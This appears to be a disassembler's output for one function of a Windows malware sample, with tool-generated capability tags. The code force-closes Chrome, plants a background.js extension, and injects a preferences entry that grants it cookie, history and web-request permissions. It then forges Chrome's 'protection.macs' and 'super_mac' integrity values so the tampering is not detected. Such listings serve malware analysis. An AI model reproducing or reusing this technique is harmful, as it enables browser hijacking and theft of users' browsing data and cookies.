Function at 0x4e53e0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52416d
mov eax, dword fs:[0]
push eax
sub esp, 0xa8c
mov eax, dword [0x559940]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
lea eax, [ebp - 0x1d4]
push eax
call fcn.004e2b10
add esp, 4
mov byte [ebp - 4], 2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x89c], esp
lea edx, [ebp - 0x1d4]
push edx
call fcn.004e0850
lea eax, [ebp - 0x174]
push eax
call fcn.004e84e0
add esp, 0x1c
mov dword [ebp - 0x898], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1bc]
push ecx
call fcn.004e2440
add esp, 4
mov byte [ebp - 4], 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x894], esp
lea edx, [ebp - 0x1bc]
push edx
call fcn.004e0850
lea eax, [ebp - 0x1a4]
push eax
call fcn.004e4ce0
add esp, 0x1c
mov dword [ebp - 0x890], eax
mov byte [ebp - 4], 5
push 0xc
lea ecx, [ebp - 0x128]
call fcn.004a7fd0
lea ecx, [ebp - 0x1a4]
push ecx
lea edx, [ebp - 0x128]
push edx
call fcn.004e50f0
add esp, 8
mov byte [ebp - 4], 6
push 0
push str.cmd.exe__c_taskkill__f__im_chrome.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x5362ac
lea ecx, [ebp - 0x18c]
call fcn.004a4080
mov byte [ebp - 4], 7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x8a0], esp
push str.C:Program_Files
call fcn.004e08e0
push 0x68
call fcn.004e8360
add esp, 0x1c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.js_background.js
push 0x53652c
push 0x5365fc
lea eax, [ebp - 0x18c]
push eax
lea ecx, [ebp - 0xa08]
push ecx
call fcn.004dee70
add esp, 0xc
mov dword [ebp - 0x83c], eax
mov edx, dword [ebp - 0x83c]
mov dword [ebp - 0x838], edx
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x838]
push eax
lea ecx, [ebp - 0xa38]
push ecx
call fcn.004aea40
add esp, 0xc
mov dword [ebp - 0x840], eax
mov edx, dword [ebp - 0x840]
mov dword [ebp - 0x844], edx
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x844]
push eax
lea ecx, [ebp - 0x15c]
push ecx
call fcn.004aea40
add esp, 0xc
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xa38]
call fcn.004a4f40
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xa08]
call fcn.004a4f40
lea ecx, [ebp - 0x15c]
call fcn.004a8300
push eax
call fcn.004d60f0
mov edx, dword [eax + 0xc0]
call edx
test eax, eax
je 0x4e55d6
mov byte [ebp - 0x80a], 1
jmp 0x4e55dd
mov byte [ebp - 0x80a], 0
mov al, byte [ebp - 0x80a]
mov byte [ebp - 0x812], al
movzx ecx, byte [ebp - 0x812]
test ecx, ecx
je 0x4e58e5
push 0xb8
lea ecx, [ebp - 0x808]
call fcn.004a7fd0
push 1
push 0x40
push 1
lea edx, [ebp - 0x15c]
push edx
lea ecx, [ebp - 0x808]
call fcn.004e01a0
mov byte [ebp - 4], 0xd
push 0x98
lea ecx, [ebp - 0x74c]
call fcn.004a7fd0
push 1
lea ecx, [ebp - 0x74c]
call fcn.004b1d50
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x808]
call fcn.004e7060
push eax
lea ecx, [ebp - 0x74c]
call fcn.004b3610
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0x74c]
call fcn.004be730
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x808]
call fcn.004e4770
push 0
push 0
mov ecx, dword [ebp - 0x808]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0x808]
call fcn.004a8360
lea eax, [ebp - 0x33c]
push eax
call fcn.004e88c0
add esp, 4
mov byte [ebp - 4], 0x10
push str.const_mac__
lea ecx, [ebp - 0x2c4]
call fcn.004a4080
mov byte [ebp - 4], 0x11
push 0x5366f4
lea ecx, [ebp - 0x33c]
push ecx
lea ecx, [ebp - 0x2c4]
call fcn.004a8020
mov ecx, eax
call fcn.004a80f0
push str.const_channelid_
lea ecx, [ebp - 0x2dc]
call fcn.004a4080
mov byte [ebp - 4], 0x12
push 0x53670c
lea edx, [ebp + 8]
push edx
lea ecx, [ebp - 0x2dc]
call fcn.004a8020
mov ecx, eax
call fcn.004a80f0
push str.const_version
lea ecx, [ebp - 0x2f4]
call fcn.004a4080
mov byte [ebp - 4], 0x13
push 0x536720
push 0x55e808
lea ecx, [ebp - 0x2f4]
call fcn.004a8020
mov ecx, eax
call fcn.004a80f0
push str.const_bid
lea ecx, [ebp - 0x30c]
call fcn.004a4080
mov byte [ebp - 4], 0x14
push 0x536730
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x30c]
call fcn.004a8020
mov ecx, eax
call fcn.004a80f0
push 0xb0
lea ecx, [ebp - 0x464]
call fcn.004a7fd0
push 1
lea ecx, [ebp - 0x464]
call fcn.004e0310
mov byte [ebp - 4], 0x15
push 0x40
push 2
lea ecx, [ebp - 0x15c]
push ecx
lea ecx, [ebp - 0x464]
call fcn.004e6aa0
lea edx, [ebp - 0x2c4]
push edx
lea eax, [ebp - 0x464]
push eax
call fcn.004ae990
add esp, 8
push 0x4dfdf0
lea ecx, [ebp - 0x464]
call fcn.004e1070
lea ecx, [ebp - 0x2dc]
push ecx
lea edx, [ebp - 0x464]
push edx
call fcn.004ae990
add esp, 8
push 0x4dfdf0
lea ecx, [ebp - 0x464]
call fcn.004e1070
lea eax, [ebp - 0x2f4]
push eax
lea ecx, [ebp - 0x464]
push ecx
call fcn.004ae990
add esp, 8
push 0x4dfdf0
lea ecx, [ebp - 0x464]
call fcn.004e1070
lea edx, [ebp - 0x30c]
push edx
lea eax, [ebp - 0x464]
push eax
call fcn.004ae990
add esp, 8
push 0x4dfdf0
lea ecx, [ebp - 0x464]
call fcn.004e1070
lea ecx, [ebp - 0x324]
push ecx
lea edx, [ebp - 0x464]
push edx
call fcn.004ae990
add esp, 8
lea ecx, [ebp - 0x464]
call fcn.004e47a0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x464]
call fcn.004e1250
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x30c]
call fcn.004a4f40
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x2f4]
call fcn.004a4f40
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x2dc]
call fcn.004a4f40
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x2c4]
call fcn.004a4f40
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x33c]
call fcn.004a4f40
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x324]
call fcn.004a4f40
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x74c]
call fcn.004b4760
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x808]
call fcn.004e1220
jmp 0x4e597e
mov dword [ebp - 0x848], 0x2712
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x15c]
call fcn.004a4f40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x18c]
call fcn.004a4f40
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x128]
call fcn.004a50a0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1a4]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1bc]
call fcn.004e0c60
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x174]
call fcn.004a4f40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d4]
call fcn.004e0c60
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004a4f40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004a4f40
mov eax, dword [ebp - 0x848]
jmp 0x4e68c1
mov eax, dword [str.x64_dev]
mov ecx, dword [0x536738]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x18]
mov dword [ebp - 0x81c], edx
mov eax, dword [ebp - 0x81c]
add eax, 1
mov dword [ebp - 0x84c], eax
mov ecx, dword [ebp - 0x81c]
mov dl, byte [ecx]
mov byte [ebp - 0x811], dl
add dword [ebp - 0x81c], 1
cmp byte [ebp - 0x811], 0
jne 0x4e59a7
mov eax, dword [ebp - 0x81c]
sub eax, dword [ebp - 0x84c]
mov dword [ebp - 0x850], eax
mov ecx, dword [ebp - 0x850]
shl ecx, 1
mov dword [ebp - 0x82c], ecx
lea edx, [ebp - 0x12c]
push edx
lea eax, [ebp - 0x750]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push 0x536740
push 0x80000001
call fcn.004d60f0
mov ecx, dword [eax + 0xd8]
call ecx
mov dword [ebp - 0x818], eax
mov dword [ebp - 0x810], 3
cmp dword [ebp - 0x818], 0
je 0x4e5a8a
cmp dword [ebp - 0x810], 0
jl 0x4e5a8a
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x12c]
push edx
lea eax, [ebp - 0x750]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREGoogleUpdateClientState8A69D345_D564_463c_AFF1_A69D9E530F96
push 0x80000001
call fcn.004d60f0
mov ecx, dword [eax + 0xd8]
call ecx
mov dword [ebp - 0x818], eax
mov edx, dword [ebp - 0x810]
sub edx, 1
mov dword [ebp - 0x810], edx
jmp 0x4e5a27
cmp dword [ebp - 0x818], 0
je 0x4e5b30
mov dword [ebp - 0x854], 0x186a1
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x15c]
call fcn.004a4f40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x18c]
call fcn.004a4f40
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x128]
call fcn.004a50a0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1a4]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1bc]
call fcn.004e0c60
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x174]
call fcn.004a4f40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d4]
call fcn.004e0c60
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004a4f40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004a4f40
mov eax, dword [ebp - 0x854]
jmp 0x4e68c1
mov dword [ebp - 0x810], 3
mov eax, dword [ebp - 0x82c]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 1
push 0
push 0x53673c
mov edx, dword [ebp - 0x750]
push edx
call fcn.004d60f0
mov eax, dword [eax + 0xdc]
call eax
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x818], 0
je 0x4e5bc1
cmp dword [ebp - 0x810], 0
jl 0x4e5bc1
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x82c]
push ecx
lea edx, [ebp - 0x18]
push edx
push 1
push 0
push 0x53678c
mov eax, dword [ebp - 0x750]
push eax
call fcn.004d60f0
mov ecx, dword [eax + 0xdc]
call ecx
mov dword [ebp - 0x818], eax
mov edx, dword [ebp - 0x810]
sub edx, 1
mov dword [ebp - 0x810], edx
jmp 0x4e5b68
cmp dword [ebp - 0x818], 0
je 0x4e5c67
mov dword [ebp - 0x858], 0x186a2
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x15c]
call fcn.004a4f40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x18c]
call fcn.004a4f40
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x128]
call fcn.004a50a0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1a4]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1bc]
call fcn.004e0c60
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x174]
call fcn.004a4f40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d4]
call fcn.004e0c60
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004a4f40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004a4f40
mov eax, dword [ebp - 0x858]
jmp 0x4e68c1
push 0x104
push 0
lea eax, [ebp - 0x11c]
push eax
call fcn.004f7f30
add esp, 0xc
push 0x5367dc
lea ecx, [ebp - 0x11c]
push ecx
call fcn.004e4c20
add esp, 8
mov dword [ebp - 0x85c], eax
cmp dword [ebp - 0x85c], 0
jg 0x4e5d3d
mov dword [ebp - 0x860], 0x2713
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x15c]
call fcn.004a4f40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x18c]
call fcn.004a4f40
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x128]
call fcn.004a50a0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1a4]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1bc]
call fcn.004e0c60
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x174]
call fcn.004a4f40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d4]
call fcn.004e0c60
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004a4f40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004a4f40
mov eax, dword [ebp - 0x860]
jmp 0x4e68c1
push 0xb8
lea ecx, [ebp - 0x604]
call fcn.004a7fd0
push 1
push 0x40
push 0x21
lea edx, [ebp - 0x11c]
push edx
lea ecx, [ebp - 0x604]
call fcn.004e0200
mov byte [ebp - 4], 0x16
push 0x74
lea ecx, [ebp - 0x4d8]
call fcn.004a7fd0
lea ecx, [ebp - 0x4d8]
call fcn.004b26e0
mov byte [ebp - 4], 0x17
push 0x18
lea ecx, [ebp - 0x144]
call fcn.004a7fd0
push 0
lea ecx, [ebp - 0x144]
call fcn.004b2b40
mov byte [ebp - 4], 0x18
push 1
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x604]
push ecx
lea ecx, [ebp - 0x4d8]
call fcn.004bc3d0
mov byte [ebp - 0x809], al
movzx edx, byte [ebp - 0x809]
test edx, edx
jne 0x4e5ea4
lea ecx, [ebp - 0x604]
call fcn.004e4770
mov dword [ebp - 0x864], 0x2714
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x144]
call fcn.004b33d0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x4d8]
call fcn.004e0d20
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x604]
call fcn.004e1220
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x15c]
call fcn.004a4f40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x18c]
call fcn.004a4f40
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x128]
call fcn.004a50a0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1a4]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1bc]
call fcn.004e0c60
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x174]
call fcn.004a4f40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d4]
call fcn.004e0c60
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004a4f40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004a4f40
mov eax, dword [ebp - 0x864]
jmp 0x4e68c1
lea ecx, [ebp - 0x604]
call fcn.004e4770
push 0x74
lea ecx, [ebp - 0x54c]
call fcn.004a7fd0
lea ecx, [ebp - 0x54c]
call fcn.004b26e0
mov byte [ebp - 4], 0x19
push 0x18
lea ecx, [ebp - 0x1ec]
call fcn.004a7fd0
push 0
lea ecx, [ebp - 0x1ec]
call fcn.004b2b40
mov byte [ebp - 4], 0x1a
mov eax, dword [str._active_permissions_:_api_:__activeTab___browsingData___contentSettings___contextMenus___cookies___downloads___downloadsInternal___history___management___notifications___privacy___storage___tabs___topSites___webNavigation___webRequest___webRequestBlocking____explicit_host_:__http:______https:_______manifest_permissions_:____scriptable_host_:__http:______https:_______commands_:__content_settings_:____creation_flags_:38__events_:____from_webstore_:false__granted_permissions_:_api_:__activeTab___browsingData___contentSettings___contextMenus___cookies___downloads___downloadsInternal___history___management___notifications___privacy___storage___tabs___topSites___webNavigation___webRequest___webRequestBlocking____explicit_host_:__http:______https:_______manifest_permissions_:____scriptable_host_:__http:______https:_______incognito_content_settings_:____incognito_preferences_:__install_time_:_13296819775087021___location_:4__newAllowFileAccess_:true__path_:_C:Program_Files_nndannfdnoaiphfcbbpgkhodebpoiocf___preferences_:__regular_only_preferences_:__state_:1__was_installed_by_default_:false__was_installed_by_oem_:false__withholding_permissions_:false]
push eax
lea ecx, [ebp - 0x8d0]
call fcn.004a4080
mov byte [ebp - 4], 0x1b
push 1
lea ecx, [ebp - 0x1ec]
push ecx
lea edx, [ebp - 0x8d0]
push edx
lea ecx, [ebp - 0x54c]
call fcn.004bc480
mov byte [ebp - 0x809], al
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x8d0]
call fcn.004a4f40
movzx eax, byte [ebp - 0x809]
test eax, eax
jne 0x4e6021
mov dword [ebp - 0x868], 0x2714
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1ec]
call fcn.004b33d0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x54c]
call fcn.004e0d20
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x144]
call fcn.004b33d0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x4d8]
call fcn.004e0d20
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x604]
call fcn.004e1220
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x15c]
call fcn.004a4f40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x18c]
call fcn.004a4f40
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x128]
call fcn.004a50a0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1a4]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1bc]
call fcn.004e0c60
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x174]
call fcn.004a4f40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d4]
call fcn.004e0c60
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004a4f40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004a4f40
mov eax, dword [ebp - 0x868]
jmp 0x4e68c1
push str.extensions.settings.
lea ecx, [ebp - 0x21c]
call fcn.004a4080
mov byte [ebp - 4], 0x1c
push 0x5367fc
lea ecx, [ebp - 0x21c]
call fcn.004a80f0
lea ecx, [ebp - 0x1ec]
push ecx
call fcn.004e3100
add esp, 4
lea ecx, [ebp - 0xa58]
call fcn.004b2610
mov dword [ebp - 0x86c], eax
mov edx, dword [ebp - 0x86c]
mov dword [ebp - 0x870], edx
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0x828], eax
lea ecx, [ebp - 0x1ec]
push ecx
lea edx, [ebp - 0x204]
push edx
mov eax, dword [ebp - 0x828]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x828]
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xa58]
call fcn.004b3380
push 0x536820
lea ecx, [ebp - 0x900]
call fcn.004a4080
mov byte [ebp - 4], 0x20
push 0x536828
lea ecx, [ebp - 0x8e8]
call fcn.004a4080
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x900]
push ecx
lea edx, [ebp - 0x8e8]
push edx
lea eax, [ebp - 0x204]
push eax
call fcn.004e73f0
add esp, 0xc
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x8e8]
call fcn.004a4f40
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x900]
call fcn.004a4f40
push 0x535496
lea ecx, [ebp - 0x930]
call fcn.004a4080
mov byte [ebp - 4], 0x22
push 0x53682c
lea ecx, [ebp - 0x918]
call fcn.004a4080
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x930]
push ecx
lea edx, [ebp - 0x918]
push edx
lea eax, [ebp - 0x204]
push eax
call fcn.004e73f0
add esp, 0xc
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x918]
call fcn.004a4f40
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x930]
call fcn.004a4f40
push 0x535497
lea ecx, [ebp - 0x948]
call fcn.004a4080
mov byte [ebp - 4], 0x24
push 0x536830
lea ecx, [ebp - 0x9f0]
call fcn.004a4080
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x948]
push ecx
lea edx, [ebp - 0x9f0]
push edx
lea eax, [ebp - 0x204]
push eax
call fcn.004e73f0
add esp, 0xc
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x9f0]
call fcn.004a4f40
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x948]
call fcn.004a4f40
lea ecx, [ebp - 0x204]
push ecx
lea edx, [ebp - 0x21c]
push edx
lea eax, [ebp - 0x174]
push eax
lea ecx, [ebp - 0xa20]
push ecx
call fcn.004dede0
add esp, 0xc
mov dword [ebp - 0x874], eax
mov edx, dword [ebp - 0x874]
mov dword [ebp - 0x878], edx
mov byte [ebp - 4], 0x26
mov eax, dword [ebp - 0x878]
push eax
lea ecx, [ebp - 0x3b4]
push ecx
call fcn.004dedb0
add esp, 0xc
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0xa20]
call fcn.004a4f40
lea edx, [ebp - 0x3b4]
push edx
lea eax, [ebp - 0x234]
push eax
call fcn.004e7c40
add esp, 8
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x128]
call fcn.004aa480
push eax
push 0
lea ecx, [ebp - 0x128]
call fcn.004a5670
push eax
lea ecx, [ebp - 0x234]
call fcn.004aa460
push eax
push 0
lea ecx, [ebp - 0x234]
call fcn.004a5650
push eax
lea ecx, [ebp - 0x24c]
push ecx
call fcn.004dfe20
add esp, 0x14
mov byte [ebp - 4], 0x2a
lea edx, [ebp - 0x24c]
push edx
call fcn.004e7be0
add esp, 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x88c], esp
lea eax, [ebp - 0x1ec]
push eax
call fcn.004b2810
mov dword [ebp - 0x888], eax
mov byte [ebp - 4], 0x2b
push 0x53684c
push 0x536840
push 0x536834
lea ecx, [ebp - 0x144]
call fcn.004b3e40
mov ecx, eax
call fcn.004b3e40
mov ecx, eax
call fcn.004b3e40
mov byte [ebp - 4], 0x2a
mov ecx, eax
call fcn.004b3580
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x8b8], esp
lea edx, [ebp - 0x24c]
push edx
call fcn.004b2ad0
mov dword [ebp - 0x8b4], eax
mov byte [ebp - 4], 0x2c
push str.nndannfdnoaiphfcbbpgkhodebpoiocf
push str.settings
push str.extensions
push 0x53687c
push 0x536870
lea ecx, [ebp - 0x144]
call fcn.004b3e40
mov ecx, eax
call fcn.004b3e40
mov ecx, eax
call fcn.004b3e40
mov ecx, eax
call fcn.004b3e40
mov ecx, eax
call fcn.004b3e40
mov byte [ebp - 4], 0x2a
mov ecx, eax
call fcn.004b3580
push 0x18
lea ecx, [ebp - 0x264]
call fcn.004a7fd0
push str.macs
push str.protection
lea ecx, [ebp - 0x144]
call fcn.004b3e40
mov ecx, eax
call fcn.004b3e40
push eax
lea ecx, [ebp - 0x264]
call fcn.004b2810
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0xa78]
call fcn.004b2610
mov dword [ebp - 0x87c], eax
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x880], eax
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x880]
mov dword [ebp - 0x824], ecx
lea edx, [ebp - 0x264]
push edx
lea eax, [ebp - 0x27c]
push eax
mov ecx, dword [ebp - 0x824]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x824]
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0xa78]
call fcn.004b3380
push str.u003C
lea ecx, [ebp - 0x978]
call fcn.004a4080
mov byte [ebp - 4], 0x31
push 0x5368dc
lea ecx, [ebp - 0x960]
call fcn.004a4080
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x978]
push ecx
lea edx, [ebp - 0x960]
push edx
lea eax, [ebp - 0x27c]
push eax
call fcn.004e73f0
add esp, 0xc
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x960]
call fcn.004a4f40
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x978]
call fcn.004a4f40
push 0x53549f
lea ecx, [ebp - 0x9a8]
call fcn.004a4080
mov byte [ebp - 4], 0x33
push 0x5368e0
lea ecx, [ebp - 0x990]
call fcn.004a4080
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x9a8]
push ecx
lea edx, [ebp - 0x990]
push edx
lea eax, [ebp - 0x204]
push eax
call fcn.004e73f0
add esp, 0xc
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x990]
call fcn.004a4f40
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x9a8]
call fcn.004a4f40
push 0x53594a
lea ecx, [ebp - 0x9d8]
call fcn.004a4080
mov byte [ebp - 4], 0x35
push 0x5368e4
lea ecx, [ebp - 0x9c0]
call fcn.004a4080
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x9d8]
push ecx
lea edx, [ebp - 0x9c0]
push edx
lea eax, [ebp - 0x204]
push eax
call fcn.004e73f0
add esp, 0xc
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x9c0]
call fcn.004a4f40
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x9d8]
call fcn.004a4f40
lea ecx, [ebp - 0x27c]
push ecx
lea edx, [ebp - 0x174]
push edx
lea eax, [ebp - 0x39c]
push eax
call fcn.004dede0
add esp, 0xc
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x39c]
push ecx
lea edx, [ebp - 0x294]
push edx
call fcn.004e7c40
add esp, 8
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x128]
call fcn.004aa480
push eax
push 0
lea ecx, [ebp - 0x128]
call fcn.004a5670
push eax
lea ecx, [ebp - 0x294]
call fcn.004aa460
push eax
push 0
lea ecx, [ebp - 0x294]
call fcn.004a5650
push eax
lea eax, [ebp - 0x2ac]
push eax
call fcn.004dfe20
add esp, 0x14
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x2ac]
push ecx
call fcn.004e7be0
add esp, 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x8b0], esp
lea edx, [ebp - 0x2ac]
push edx
call fcn.004b2ad0
mov dword [ebp - 0x8ac], eax
mov byte [ebp - 4], 0x3a
push str.super_mac
push 0x5368e8
lea ecx, [ebp - 0x144]
call fcn.004b3e40
mov ecx, eax
call fcn.004b3e40
mov byte [ebp - 4], 0x39
mov ecx, eax
call fcn.004b3580
lea ecx, [ebp - 0xa98]
call fcn.004b2610
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x884]
mov dword [ebp - 0x830], eax
mov byte [ebp - 4], 0x3b
mov ecx, dword [ebp - 0x830]
mov dword [ebp - 0x820], ecx
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x384]
push eax
mov ecx, dword [ebp - 0x820]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x820]
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0xa98]
call fcn.004b3380
push 0xb0
lea ecx, [ebp - 0x6b4]
call fcn.004a7fd0
push 1
lea ecx, [ebp - 0x6b4]
call fcn.004e0310
mov byte [ebp - 4], 0x3e
push 0x40
push 2
lea ecx, [ebp - 0x11c]
push ecx
lea ecx, [ebp - 0x6b4]
call fcn.004e6ad0
lea edx, [ebp - 0x384]
push edx
lea eax, [ebp - 0x6b4]
push eax
call fcn.004ae990
add esp, 8
lea ecx, [ebp - 0x6b4]
call fcn.004e47a0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x36c]
push ecx
call fcn.004e1ff0
add esp, 4
mov byte [ebp - 4], 0x3f
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x8a8], esp
lea edx, [ebp - 0x36c]
push edx
call fcn.004e0850
lea eax, [ebp - 0x354]
push eax
call fcn.004e84e0
add esp, 0x1c
mov dword [ebp - 0x8a4], eax
push 1
lea ecx, [ebp - 0x354]
call fcn.004a8300
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 0x834], 0
lea ecx, [ebp - 0x354]
call fcn.004a4f40
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x36c]
call fcn.004e0c60
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x6b4]
call fcn.004e1250
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x384]
call fcn.004a4f40
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x2ac]
call fcn.004a4f40
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x294]
call fcn.004a4f40
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x39c]
call fcn.004a4f40
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x27c]
call fcn.004a4f40
